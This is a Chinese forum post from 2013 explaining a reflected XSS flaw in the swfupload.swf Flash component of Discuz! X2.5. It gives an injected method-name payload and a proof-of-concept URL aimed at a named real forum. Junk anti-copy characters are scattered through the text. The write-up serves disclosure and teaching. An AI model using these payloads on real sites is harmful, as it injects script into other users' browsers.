找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
* G5 b/ g6 R/ _9 ]8 [
. I4 A+ a$ E' Q& kflash.external.ExternalInterface.call($methodName, $parameter)
& N' d5 O2 L& A; G5 N在浏览器中执行的是$ }% V9 L* G# A: r
- a" ^6 A" o% H; W9 D" H
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
- e& i: q/ A0 F& W对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
* K, g/ C% @7 a5 X8 X) v4 s" S* m  n5 L. f  \
flash.external.ExternalInterface.call("object."+$methodName, $parameter)% a) D( r, t) I
$methodName = a())}catch(e){alert(/xss/)}//
  l" ~! n+ z# n( S' [结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。. |* K! r$ D& P& W' j6 _

  @1 \8 O+ v6 ^7 |( B/ wtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }& L8 p+ R9 ]8 O1 b, c+ M& [( [

2 O& q% G. F- J0 p+ I这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& n/ W) j+ b3 w
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。1 t+ b; O0 S+ j$ @
8 u# ]7 M& `, q& P

, R/ t+ P" a1 H, o3 r0 K# C, _, C6 g( ~
漏洞文件:upload\static\image\common\swfupload.swf
4 A" k$ N0 H+ H6 t6 H! ?. A
* o: o; p6 I  ^9 A: t原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
4 C* q6 f7 z+ a& o) n8 Q5 e8 q6 e( E% g) a& x9 S3 C
  ~" @* r; a* n5 E# ^! F
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 M- N$ Z9 q8 H7 I$ K9 g6 F9 Y) I. [/ ^  j. G& `; E$ w3 d4 g- f* l
1 m) g0 J! l& _8 O  ]# |5 O; P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表